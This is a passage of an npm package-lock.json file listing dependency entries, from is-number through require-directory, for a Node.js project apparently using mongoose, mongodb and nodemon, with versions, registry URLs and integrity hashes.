1148 | "url": "https://github.com/sponsors/sindresorhus"
1149 | }
1150 | },
1151 | "node_modules/is-number": {
1152 | "version": "7.0.0",
1153 | "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz",
1154 | "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==",
1155 | "engines": {
1156 | "node": ">=0.12.0"
1157 | }
1158 | },
1159 | "node_modules/is-obj": {
1160 | "version": "2.0.0",
1161 | "resolved": "https://registry.npmjs.org/is-obj/-/is-obj-2.0.0.tgz",
1162 | "integrity": "sha512-drqDG3cbczxxEJRoOXcOjtdp1J/lyp1mNn0xaznRs8+muBhgQcrnbspox5X5fOw0HnMnbfDzvnEMEtqDEJEo8w==",
1163 | "engines": {
1164 | "node": ">=8"
1165 | }
1166 | },
1167 | "node_modules/is-path-inside": {
1168 | "version": "3.0.3",
1169 | "resolved": "https://registry.npmjs.org/is-path-inside/-/is-path-inside-3.0.3.tgz",
1170 | "integrity": "sha512-Fd4gABb+ycGAmKou8eMftCupSir5lRxqf4aD/vd0cD2qc4HL07OjCeuHMr8Ro4CoMaeCKDB0/ECBOVWjTwUvPQ==",
1171 | "engines": {
1172 | "node": ">=8"
1173 | }
1174 | },
1175 | "node_modules/is-typedarray": {
1176 | "version": "1.0.0",
1177 | "resolved": "https://registry.npmjs.org/is-typedarray/-/is-typedarray-1.0.0.tgz",
1178 | "integrity": "sha1-5HnICFjfDBsR3dppQPlgEfzaSpo="
1179 | },
1180 | "node_modules/is-yarn-global": {
1181 | "version": "0.3.0",
1182 | "resolved": "https://registry.npmjs.org/is-yarn-global/-/is-yarn-global-0.3.0.tgz",
1183 | "integrity": "sha512-VjSeb/lHmkoyd8ryPVIKvOCn4D1koMqY+vqyjjUfc3xyKtP4dYOxM44sZrnqQSzSds3xyOrUTLTC9LVCVgLngw=="
1184 | },
1185 | "node_modules/json-buffer": {
1186 | "version": "3.0.0",
1187 | "resolved": "https://registry.npmjs.org/json-buffer/-/json-buffer-3.0.0.tgz",
1188 | "integrity": "sha1-Wx85evx11ne96Lz8Dkfh+aPZqJg="
1189 | },
1190 | "node_modules/kareem": {
1191 | "version": "2.3.2",
1192 | "resolved": "https://registry.npmjs.org/kareem/-/kareem-2.3.2.tgz",
1193 | "integrity": "sha512-STHz9P7X2L4Kwn72fA4rGyqyXdmrMSdxqHx9IXon/FXluXieaFA6KJ2upcHAHxQPQ0LeM/OjLrhFxifHewOALQ=="
1194 | },
1195 | "node_modules/keyv": {
1196 | "version": "3.1.0",
1197 | "resolved": "https://registry.npmjs.org/keyv/-/keyv-3.1.0.tgz",
1198 | "integrity": "sha512-9ykJ/46SN/9KPM/sichzQ7OvXyGDYKGTaDlKMGCAlg2UK8KRy4jb0d8sFc+0Tt0YYnThq8X2RZgCg74RPxgcVA==",
1199 | "dependencies": {
1200 | "json-buffer": "3.0.0"
1201 | }
1202 | },
1203 | "node_modules/latest-version": {
1204 | "version": "5.1.0",
1205 | "resolved": "https://registry.npmjs.org/latest-version/-/latest-version-5.1.0.tgz",
1206 | "integrity": "sha512-weT+r0kTkRQdCdYCNtkMwWXQTMEswKrFBkm4ckQOMVhhqhIMI1UT2hMj+1iigIhgSZm5gTmrRXBNoGUgaTY1xA==",
1207 | "dependencies": {
1208 | "package-json": "^6.3.0"
1209 | },
1210 | "engines": {
1211 | "node": ">=8"
1212 | }
1213 | },
1214 | "node_modules/lodash": {
1215 | "version": "4.17.21",
1216 | "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz",
1217 | "integrity": "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg=="
1218 | },
1219 | "node_modules/lowercase-keys": {
1220 | "version": "1.0.1",
1221 | "resolved": "https://registry.npmjs.org/lowercase-keys/-/lowercase-keys-1.0.1.tgz",
1222 | "integrity": "sha512-G2Lj61tXDnVFFOi8VZds+SoQjtQC3dgokKdDG2mTm1tx4m50NUHBOZSBwQQHyy0V12A0JTG4icfZQH+xPyh8VA==",
1223 | "engines": {
1224 | "node": ">=0.10.0"
1225 | }
1226 | },
1227 | "node_modules/lru-cache": {
1228 | "version": "6.0.0",
1229 | "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz",
1230 | "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==",
1231 | "dependencies": {
1232 | "yallist": "^4.0.0"
1233 | },
1234 | "engines": {
1235 | "node": ">=10"
1236 | }
1237 | },
1238 | "node_modules/make-dir": {
1239 | "version": "3.1.0",
1240 | "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-3.1.0.tgz",
1241 | "integrity": "sha512-g3FeP20LNwhALb/6Cz6Dd4F2ngze0jz7tbzrD2wAV+o9FeNHe4rL+yK2md0J/fiSf1sa1ADhXqi5+oVwOM/eGw==",
1242 | "dependencies": {
1243 | "semver": "^6.0.0"
1244 | },
1245 | "engines": {
1246 | "node": ">=8"
1247 | },
1248 | "funding": {
1249 | "url": "https://github.com/sponsors/sindresorhus"
1250 | }
1251 | },
1252 | "node_modules/make-dir/node_modules/semver": {
1253 | "version": "6.3.0",
1254 | "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz",
1255 | "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==",
1256 | "bin": {
1257 | "semver": "bin/semver.js"
1258 | }
1259 | },
1260 | "node_modules/memory-pager": {
1261 | "version": "1.5.0",
1262 | "resolved": "https://registry.npmjs.org/memory-pager/-/memory-pager-1.5.0.tgz",
1263 | "integrity": "sha512-ZS4Bp4r/Zoeq6+NLJpP+0Zzm0pR8whtGPf1XExKLJBAczGMnSi3It14OiNCStjQjM6NU1okjQGSxgEZN8eBYKg==",
1264 | "optional": true
1265 | },
1266 | "node_modules/mimic-response": {
1267 | "version": "1.0.1",
1268 | "resolved": "https://registry.npmjs.org/mimic-response/-/mimic-response-1.0.1.tgz",
1269 | "integrity": "sha512-j5EctnkH7amfV/q5Hgmoal1g2QHFJRraOtmx0JpIqkxhBhI/lJSl1nMpQ45hVarwNETOoWEimndZ4QK0RHxuxQ==",
1270 | "engines": {
1271 | "node": ">=4"
1272 | }
1273 | },
1274 | "node_modules/minimatch": {
1275 | "version": "3.0.4",
1276 | "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.0.4.tgz",
1277 | "integrity": "sha512-yJHVQEhyqPLUTgt9B83PXu6W3rx4MvvHvSUvToogpwoGDOUQ+yDrR0HRot+yOCdCO7u4hX3pWft6kWBBcqh0UA==",
1278 | "dependencies": {
1279 | "brace-expansion": "^1.1.7"
1280 | },
1281 | "engines": {
1282 | "node": "*"
1283 | }
1284 | },
1285 | "node_modules/minimist": {
1286 | "version": "1.2.5",
1287 | "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.5.tgz",
1288 | "integrity": "sha512-FM9nNUYrRBAELZQT3xeZQ7fmMOBg6nWNmJKTcgsJeaLstP/UODVpGsr5OhXhhXg6f+qtJ8uiZ+PUxkDWcgIXLw=="
1289 | },
1290 | "node_modules/minipass": {
1291 | "version": "3.1.5",
1292 | "resolved": "https://registry.npmjs.org/minipass/-/minipass-3.1.5.tgz",
1293 | "integrity": "sha512-+8NzxD82XQoNKNrl1d/FSi+X8wAEWR+sbYAfIvub4Nz0d22plFG72CEVVaufV8PNf4qSslFTD8VMOxNVhHCjTw==",
1294 | "dependencies": {
1295 | "yallist": "^4.0.0"
1296 | },
1297 | "engines": {
1298 | "node": ">=8"
1299 | }
1300 | },
1301 | "node_modules/minizlib": {
1302 | "version": "2.1.2",
1303 | "resolved": "https://registry.npmjs.org/minizlib/-/minizlib-2.1.2.tgz",
1304 | "integrity": "sha512-bAxsR8BVfj60DWXHE3u30oHzfl4G7khkSuPW+qvpd7jFRHm7dLxOjUk1EHACJ/hxLY8phGJ0YhYHZo7jil7Qdg==",
1305 | "dependencies": {
1306 | "minipass": "^3.0.0",
1307 | "yallist": "^4.0.0"
1308 | },
1309 | "engines": {
1310 | "node": ">= 8"
1311 | }
1312 | },
1313 | "node_modules/mkdirp": {
1314 | "version": "1.0.4",
1315 | "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-1.0.4.tgz",
1316 | "integrity": "sha512-vVqVZQyf3WLx2Shd0qJ9xuvqgAyKPLAiqITEtqW0oIUjzo3PePDd6fW9iFz30ef7Ysp/oiWqbhszeGWW2T6Gzw==",
1317 | "bin": {
1318 | "mkdirp": "bin/cmd.js"
1319 | },
1320 | "engines": {
1321 | "node": ">=10"
1322 | }
1323 | },
1324 | "node_modules/mongodb": {
1325 | "version": "4.2.1",
1326 | "resolved": "https://registry.npmjs.org/mongodb/-/mongodb-4.2.1.tgz",
1327 | "integrity": "sha512-nDC+ulM/Ea3Q2VG5eemuGfB7T4ORwrtKegH2XW9OLlUBgQF6OTNrzFCS1Z3SJGVA+T0Sr1xBYV6DMnp0A7us0g==",
1328 | "dependencies": {
1329 | "bson": "^4.6.0",
1330 | "denque": "^2.0.1",
1331 | "mongodb-connection-string-url": "^2.2.0"
1332 | },
1333 | "engines": {
1334 | "node": ">=12.9.0"
1335 | },
1336 | "optionalDependencies": {
1337 | "saslprep": "^1.0.3"
1338 | }
1339 | },
1340 | "node_modules/mongodb-connection-string-url": {
1341 | "version": "2.2.0",
1342 | "resolved": "https://registry.npmjs.org/mongodb-connection-string-url/-/mongodb-connection-string-url-2.2.0.tgz",
1343 | "integrity": "sha512-U0cDxLUrQrl7DZA828CA+o69EuWPWEJTwdMPozyd7cy/dbtncUZczMw7wRHcwMD7oKOn0NM2tF9jdf5FFVW9CA==",
1344 | "dependencies": {
1345 | "@types/whatwg-url": "^8.2.1",
1346 | "whatwg-url": "^11.0.0"
1347 | }
1348 | },
1349 | "node_modules/mongoose": {
1350 | "version": "6.0.13",
1351 | "resolved": "https://registry.npmjs.org/mongoose/-/mongoose-6.0.13.tgz",
1352 | "integrity": "sha512-/M/YKgx23fCX+j0lwObaHbCibXnMjyWeQrXZf0WaQeS/hL86wQVSmaOxh+kZXfyLOUr+vT2Hl44o50GZHUrKWw==",
1353 | "dependencies": {
1354 | "bson": "^4.2.2",
1355 | "kareem": "2.3.2",
1356 | "mongodb": "4.1.4",
1357 | "mpath": "0.8.4",
1358 | "mquery": "4.0.0",
1359 | "ms": "2.1.2",
1360 | "regexp-clone": "1.0.0",
1361 | "sift": "13.5.2",
1362 | "sliced": "1.0.1"
1363 | },
1364 | "engines": {
1365 | "node": ">=12.0.0"
1366 | },
1367 | "funding": {
1368 | "type": "opencollective",
1369 | "url": "https://opencollective.com/mongoose"
1370 | }
1371 | },
1372 | "node_modules/mongoose/node_modules/mongodb": {
1373 | "version": "4.1.4",
1374 | "resolved": "https://registry.npmjs.org/mongodb/-/mongodb-4.1.4.tgz",
1375 | "integrity": "sha512-Cv/sk8on/tpvvqbEvR1h03mdyNdyvvO+WhtFlL4jrZ+DSsN/oSQHVqmJQI/sBCqqbOArFcYCAYDfyzqFwV4GSQ==",
1376 | "dependencies": {
1377 | "bson": "^4.5.4",
1378 | "denque": "^2.0.1",
1379 | "mongodb-connection-string-url": "^2.1.0"
1380 | },
1381 | "engines": {
1382 | "node": ">=12.9.0"
1383 | },
1384 | "optionalDependencies": {
1385 | "saslprep": "^1.0.3"
1386 | }
1387 | },
1388 | "node_modules/mpath": {
1389 | "version": "0.8.4",
1390 | "resolved": "https://registry.npmjs.org/mpath/-/mpath-0.8.4.tgz",
1391 | "integrity": "sha512-DTxNZomBcTWlrMW76jy1wvV37X/cNNxPW1y2Jzd4DZkAaC5ZGsm8bfGfNOthcDuRJujXLqiuS6o3Tpy0JEoh7g==",
1392 | "engines": {
1393 | "node": ">=4.0.0"
1394 | }
1395 | },
1396 | "node_modules/mquery": {
1397 | "version": "4.0.0",
1398 | "resolved": "https://registry.npmjs.org/mquery/-/mquery-4.0.0.tgz",
1399 | "integrity": "sha512-nGjm89lHja+T/b8cybAby6H0YgA4qYC/lx6UlwvHGqvTq8bDaNeCwl1sY8uRELrNbVWJzIihxVd+vphGGn1vBw==",
1400 | "dependencies": {
1401 | "debug": "4.x",
1402 | "regexp-clone": "^1.0.0",
1403 | "sliced": "1.0.1"
1404 | },
1405 | "engines": {
1406 | "node": ">=12.0.0"
1407 | }
1408 | },
1409 | "node_modules/ms": {
1410 | "version": "2.1.2",
1411 | "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz",
1412 | "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w=="
1413 | },
1414 | "node_modules/nan": {
1415 | "version": "2.15.0",
1416 | "resolved": "https://registry.npmjs.org/nan/-/nan-2.15.0.tgz",
1417 | "integrity": "sha512-8ZtvEnA2c5aYCZYd1cvgdnU6cqwixRoYg70xPLWUws5ORTa/lnw+u4amixRS/Ac5U5mQVgp9pnlSUnbNWFaWZQ==",
1418 | "optional": true
1419 | },
1420 | "node_modules/node-addon-api": {
1421 | "version": "3.2.1",
1422 | "resolved": "https://registry.npmjs.org/node-addon-api/-/node-addon-api-3.2.1.tgz",
1423 | "integrity": "sha512-mmcei9JghVNDYydghQmeDX8KoAm0FAiYyIcUt/N4nhyAipB17pllZQDOJD2fotxABnt4Mdz+dKTO7eftLg4d0A=="
1424 | },
1425 | "node_modules/node-fetch": {
1426 | "version": "2.6.6",
1427 | "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-2.6.6.tgz",
1428 | "integrity": "sha512-Z8/6vRlTUChSdIgMa51jxQ4lrw/Jy5SOW10ObaA47/RElsAN2c5Pn8bTgFGWn/ibwzXTE8qwr1Yzx28vsecXEA==",
1429 | "dependencies": {
1430 | "whatwg-url": "^5.0.0"
1431 | },
1432 | "engines": {
1433 | "node": "4.x || >=6.0.0"
1434 | }
1435 | },
1436 | "node_modules/node-fetch/node_modules/tr46": {
1437 | "version": "0.0.3",
1438 | "resolved": "https://registry.npmjs.org/tr46/-/tr46-0.0.3.tgz",
1439 | "integrity": "sha1-gYT9NH2snNwYWZLzpmIuFLnZq2o="
1440 | },
1441 | "node_modules/node-fetch/node_modules/webidl-conversions": {
1442 | "version": "3.0.1",
1443 | "resolved": "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-3.0.1.tgz",
1444 | "integrity": "sha1-JFNCdeKnvGvnvIZhHMFq4KVlSHE="
1445 | },
1446 | "node_modules/node-fetch/node_modules/whatwg-url": {
1447 | "version": "5.0.0",
1448 | "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-5.0.0.tgz",
1449 | "integrity": "sha1-lmRU6HZUYuN2RNNib2dCzotwll0=",
1450 | "dependencies": {
1451 | "tr46": "~0.0.3",
1452 | "webidl-conversions": "^3.0.0"
1453 | }
1454 | },
1455 | "node_modules/nodemon": {
1456 | "version": "2.0.15",
1457 | "resolved": "https://registry.npmjs.org/nodemon/-/nodemon-2.0.15.tgz",
1458 | "integrity": "sha512-gdHMNx47Gw7b3kWxJV64NI+Q5nfl0y5DgDbiVtShiwa7Z0IZ07Ll4RLFo6AjrhzMtoEZn5PDE3/c2AbVsiCkpA==",
1459 | "hasInstallScript": true,
1460 | "dependencies": {
1461 | "chokidar": "^3.5.2",
1462 | "debug": "^3.2.7",
1463 | "ignore-by-default": "^1.0.1",
1464 | "minimatch": "^3.0.4",
1465 | "pstree.remy": "^1.1.8",
1466 | "semver": "^5.7.1",
1467 | "supports-color": "^5.5.0",
1468 | "touch": "^3.1.0",
1469 | "undefsafe": "^2.0.5",
1470 | "update-notifier": "^5.1.0"
1471 | },
1472 | "bin": {
1473 | "nodemon": "bin/nodemon.js"
1474 | },
1475 | "engines": {
1476 | "node": ">=8.10.0"
1477 | },
1478 | "funding": {
1479 | "type": "opencollective",
1480 | "url": "https://opencollective.com/nodemon"
1481 | }
1482 | },
1483 | "node_modules/nodemon/node_modules/debug": {
1484 | "version": "3.2.7",
1485 | "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.7.tgz",
1486 | "integrity": "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==",
1487 | "dependencies": {
1488 | "ms": "^2.1.1"
1489 | }
1490 | },
1491 | "node_modules/nodemon/node_modules/has-flag": {
1492 | "version": "3.0.0",
1493 | "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz",
1494 | "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=",
1495 | "engines": {
1496 | "node": ">=4"
1497 | }
1498 | },
1499 | "node_modules/nodemon/node_modules/semver": {
1500 | "version": "5.7.1",
1501 | "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.1.tgz",
1502 | "integrity": "sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ==",
1503 | "bin": {
1504 | "semver": "bin/semver"
1505 | }
1506 | },
1507 | "node_modules/nodemon/node_modules/supports-color": {
1508 | "version": "5.5.0",
1509 | "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz",
1510 | "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==",
1511 | "dependencies": {
1512 | "has-flag": "^3.0.0"
1513 | },
1514 | "engines": {
1515 | "node": ">=4"
1516 | }
1517 | },
1518 | "node_modules/nopt": {
1519 | "version": "5.0.0",
1520 | "resolved": "https://registry.npmjs.org/nopt/-/nopt-5.0.0.tgz",
1521 | "integrity": "sha512-Tbj67rffqceeLpcRXrT7vKAN8CwfPeIBgM7E6iBkmKLV7bEMwpGgYLGv0jACUsECaa/vuxP0IjEont6umdMgtQ==",
1522 | "dependencies": {
1523 | "abbrev": "1"
1524 | },
1525 | "bin": {
1526 | "nopt": "bin/nopt.js"
1527 | },
1528 | "engines": {
1529 | "node": ">=6"
1530 | }
1531 | },
1532 | "node_modules/normalize-path": {
1533 | "version": "3.0.0",
1534 | "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz",
1535 | "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==",
1536 | "engines": {
1537 | "node": ">=0.10.0"
1538 | }
1539 | },
1540 | "node_modules/normalize-url": {
1541 | "version": "4.5.1",
1542 | "resolved": "https://registry.npmjs.org/normalize-url/-/normalize-url-4.5.1.tgz",
1543 | "integrity": "sha512-9UZCFRHQdNrfTpGg8+1INIg93B6zE0aXMVFkw1WFwvO4SlZywU6aLg5Of0Ap/PgcbSw4LNxvMWXMeugwMCX0AA==",
1544 | "engines": {
1545 | "node": ">=8"
1546 | }
1547 | },
1548 | "node_modules/npmlog": {
1549 | "version": "5.0.1",
1550 | "resolved": "https://registry.npmjs.org/npmlog/-/npmlog-5.0.1.tgz",
1551 | "integrity": "sha512-AqZtDUWOMKs1G/8lwylVjrdYgqA4d9nu8hc+0gzRxlDb1I10+FHBGMXs6aiQHFdCUUlqH99MUMuLfzWDNDtfxw==",
1552 | "dependencies": {
1553 | "are-we-there-yet": "^2.0.0",
1554 | "console-control-strings": "^1.1.0",
1555 | "gauge": "^3.0.0",
1556 | "set-blocking": "^2.0.0"
1557 | }
1558 | },
1559 | "node_modules/object-assign": {
1560 | "version": "4.1.1",
1561 | "resolved": "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz",
1562 | "integrity": "sha1-IQmtx5ZYh8/AXLvUQsrIv7s2CGM=",
1563 | "engines": {
1564 | "node": ">=0.10.0"
1565 | }
1566 | },
1567 | "node_modules/once": {
1568 | "version": "1.4.0",
1569 | "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz",
1570 | "integrity": "sha1-WDsap3WWHUsROsF9nFC6753Xa9E=",
1571 | "dependencies": {
1572 | "wrappy": "1"
1573 | }
1574 | },
1575 | "node_modules/opencollective-postinstall": {
1576 | "version": "2.0.3",
1577 | "resolved": "https://registry.npmjs.org/opencollective-postinstall/-/opencollective-postinstall-2.0.3.tgz",
1578 | "integrity": "sha512-8AV/sCtuzUeTo8gQK5qDZzARrulB3egtLzFgteqB2tcT4Mw7B8Kt7JcDHmltjz6FOAHsvTevk70gZEbhM4ZS9Q==",
1579 | "bin": {
1580 | "opencollective-postinstall": "index.js"
1581 | }
1582 | },
1583 | "node_modules/p-cancelable": {
1584 | "version": "1.1.0",
1585 | "resolved": "https://registry.npmjs.org/p-cancelable/-/p-cancelable-1.1.0.tgz",
1586 | "integrity": "sha512-s73XxOZ4zpt1edZYZzvhqFa6uvQc1vwUa0K0BdtIZgQMAJj9IbebH+JkgKZc9h+B05PKHLOTl4ajG1BmNrVZlw==",
1587 | "engines": {
1588 | "node": ">=6"
1589 | }
1590 | },
1591 | "node_modules/package-json": {
1592 | "version": "6.5.0",
1593 | "resolved": "https://registry.npmjs.org/package-json/-/package-json-6.5.0.tgz",
1594 | "integrity": "sha512-k3bdm2n25tkyxcjSKzB5x8kfVxlMdgsbPr0GkZcwHsLpba6cBjqCt1KlcChKEvxHIcTB1FVMuwoijZ26xex5MQ==",
1595 | "dependencies": {
1596 | "got": "^9.6.0",
1597 | "registry-auth-token": "^4.0.0",
1598 | "registry-url": "^5.0.0",
1599 | "semver": "^6.2.0"
1600 | },
1601 | "engines": {
1602 | "node": ">=8"
1603 | }
1604 | },
1605 | "node_modules/package-json/node_modules/semver": {
1606 | "version": "6.3.0",
1607 | "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz",
1608 | "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==",
1609 | "bin": {
1610 | "semver": "bin/semver.js"
1611 | }
1612 | },
1613 | "node_modules/path": {
1614 | "version": "0.12.7",
1615 | "resolved": "https://registry.npmjs.org/path/-/path-0.12.7.tgz",
1616 | "integrity": "sha1-1NwqUGxM4hl+tIHr/NWzbAFAsQ8=",
1617 | "dependencies": {
1618 | "process": "^0.11.1",
1619 | "util": "^0.10.3"
1620 | }
1621 | },
1622 | "node_modules/path-is-absolute": {
1623 | "version": "1.0.1",
1624 | "resolved": "https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.1.tgz",
1625 | "integrity": "sha1-F0uSaHNVNP+8es5r9TpanhtcX18=",
1626 | "engines": {
1627 | "node": ">=0.10.0"
1628 | }
1629 | },
1630 | "node_modules/picomatch": {
1631 | "version": "2.3.0",
1632 | "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.0.tgz",
1633 | "integrity": "sha512-lY1Q/PiJGC2zOv/z391WOTD+Z02bCgsFfvxoXXf6h7kv9o+WmsmzYqrAwY63sNgOxE4xEdq0WyUnXfKeBrSvYw==",
1634 | "engines": {
1635 | "node": ">=8.6"
1636 | },
1637 | "funding": {
1638 | "url": "https://github.com/sponsors/jonschlinkert"
1639 | }
1640 | },
1641 | "node_modules/prepend-http": {
1642 | "version": "2.0.0",
1643 | "resolved": "https://registry.npmjs.org/prepend-http/-/prepend-http-2.0.0.tgz",
1644 | "integrity": "sha1-6SQ0v6XqjBn0HN/UAddBo8gZ2Jc=",
1645 | "engines": {
1646 | "node": ">=4"
1647 | }
1648 | },
1649 | "node_modules/process": {
1650 | "version": "0.11.10",
1651 | "resolved": "https://registry.npmjs.org/process/-/process-0.11.10.tgz",
1652 | "integrity": "sha1-czIwDoQBYb2j5podHZGn1LwW8YI=",
1653 | "engines": {
1654 | "node": ">= 0.6.0"
1655 | }
1656 | },
1657 | "node_modules/pstree.remy": {
1658 | "version": "1.1.8",
1659 | "resolved": "https://registry.npmjs.org/pstree.remy/-/pstree.remy-1.1.8.tgz",
1660 | "integrity": "sha512-77DZwxQmxKnu3aR542U+X8FypNzbfJ+C5XQDk3uWjWxn6151aIMGthWYRXTqT1E5oJvg+ljaa2OJi+VfvCOQ8w=="
1661 | },
1662 | "node_modules/pump": {
1663 | "version": "3.0.0",
1664 | "resolved": "https://registry.npmjs.org/pump/-/pump-3.0.0.tgz",
1665 | "integrity": "sha512-LwZy+p3SFs1Pytd/jYct4wpv49HiYCqd9Rlc5ZVdk0V+8Yzv6jR5Blk3TRmPL1ft69TxP0IMZGJ+WPFU2BFhww==",
1666 | "dependencies": {
1667 | "end-of-stream": "^1.1.0",
1668 | "once": "^1.3.1"
1669 | }
1670 | },
1671 | "node_modules/punycode": {
1672 | "version": "2.1.1",
1673 | "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.1.1.tgz",
1674 | "integrity": "sha512-XRsRjdf+j5ml+y/6GKHPZbrF/8p2Yga0JPtdqTIY2Xe5ohJPD9saDJJLPvp9+NSBprVvevdXZybnj2cv8OEd0A==",
1675 | "engines": {
1676 | "node": ">=6"
1677 | }
1678 | },
1679 | "node_modules/pupa": {
1680 | "version": "2.1.1",
1681 | "resolved": "https://registry.npmjs.org/pupa/-/pupa-2.1.1.tgz",
1682 | "integrity": "sha512-l1jNAspIBSFqbT+y+5FosojNpVpF94nlI+wDUpqP9enwOTfHx9f0gh5nB96vl+6yTpsJsypeNrwfzPrKuHB41A==",
1683 | "dependencies": {
1684 | "escape-goat": "^2.0.0"
1685 | },
1686 | "engines": {
1687 | "node": ">=8"
1688 | }
1689 | },
1690 | "node_modules/rc": {
1691 | "version": "1.2.8",
1692 | "resolved": "https://registry.npmjs.org/rc/-/rc-1.2.8.tgz",
1693 | "integrity": "sha512-y3bGgqKj3QBdxLbLkomlohkvsA8gdAiUQlSBJnBhfn+BPxg4bc62d8TcBW15wavDfgexCgccckhcZvywyQYPOw==",
1694 | "dependencies": {
1695 | "deep-extend": "^0.6.0",
1696 | "ini": "~1.3.0",
1697 | "minimist": "^1.2.0",
1698 | "strip-json-comments": "~2.0.1"
1699 | },
1700 | "bin": {
1701 | "rc": "cli.js"
1702 | }
1703 | },
1704 | "node_modules/rc/node_modules/ini": {
1705 | "version": "1.3.8",
1706 | "resolved": "https://registry.npmjs.org/ini/-/ini-1.3.8.tgz",
1707 | "integrity": "sha512-JV/yugV2uzW5iMRSiZAyDtQd+nxtUnjeLt0acNdw98kKLrvuRVyB80tsREOE7yvGVgalhZ6RNXCmEHkUKBKxew=="
1708 | },
1709 | "node_modules/readable-stream": {
1710 | "version": "3.6.0",
1711 | "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.0.tgz",
1712 | "integrity": "sha512-BViHy7LKeTz4oNnkcLJ+lVSL6vpiFeX6/d3oSH8zCW7UxP2onchk+vTGB143xuFjHS3deTgkKoXXymXqymiIdA==",
1713 | "dependencies": {
1714 | "inherits": "^2.0.3",
1715 | "string_decoder": "^1.1.1",
1716 | "util-deprecate": "^1.0.1"
1717 | },
1718 | "engines": {
1719 | "node": ">= 6"
1720 | }
1721 | },
1722 | "node_modules/readdirp": {
1723 | "version": "3.6.0",
1724 | "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-3.6.0.tgz",
1725 | "integrity": "sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA==",
1726 | "dependencies": {
1727 | "picomatch": "^2.2.1"
1728 | },
1729 | "engines": {
1730 | "node": ">=8.10.0"
1731 | }
1732 | },
1733 | "node_modules/regexp-clone": {
1734 | "version": "1.0.0",
1735 | "resolved": "https://registry.npmjs.org/regexp-clone/-/regexp-clone-1.0.0.tgz",
1736 | "integrity": "sha512-TuAasHQNamyyJ2hb97IuBEif4qBHGjPHBS64sZwytpLEqtBQ1gPJTnOaQ6qmpET16cK14kkjbazl6+p0RRv0yw=="
1737 | },
1738 | "node_modules/registry-auth-token": {
1739 | "version": "4.2.1",
1740 | "resolved": "https://registry.npmjs.org/registry-auth-token/-/registry-auth-token-4.2.1.tgz",
1741 | "integrity": "sha512-6gkSb4U6aWJB4SF2ZvLb76yCBjcvufXBqvvEx1HbmKPkutswjW1xNVRY0+daljIYRbogN7O0etYSlbiaEQyMyw==",
1742 | "dependencies": {
1743 | "rc": "^1.2.8"
1744 | },
1745 | "engines": {
1746 | "node": ">=6.0.0"
1747 | }
1748 | },
1749 | "node_modules/registry-url": {
1750 | "version": "5.1.0",
1751 | "resolved": "https://registry.npmjs.org/registry-url/-/registry-url-5.1.0.tgz",
1752 | "integrity": "sha512-8acYXXTI0AkQv6RAOjE3vOaIXZkT9wo4LOFbBKYQEEnnMNBpKqdUrI6S4NT0KPIo/WVvJ5tE/X5LF/TQUf0ekw==",
1753 | "dependencies": {
1754 | "rc": "^1.2.8"
1755 | },
1756 | "engines": {
1757 | "node": ">=8"
1758 | }
1759 | },
1760 | "node_modules/require-directory": {
1761 | "version": "2.1.1",
1762 | "resolved": "https://registry.npmjs.org/require-directory/-/require-directory-2.1.1.tgz",
1763 | "integrity": "sha1-jGStX9MNqxyXbiNE/+f3kqam30I=",
1764 | "engines": {
1765 | "node": ">=0.10.0"
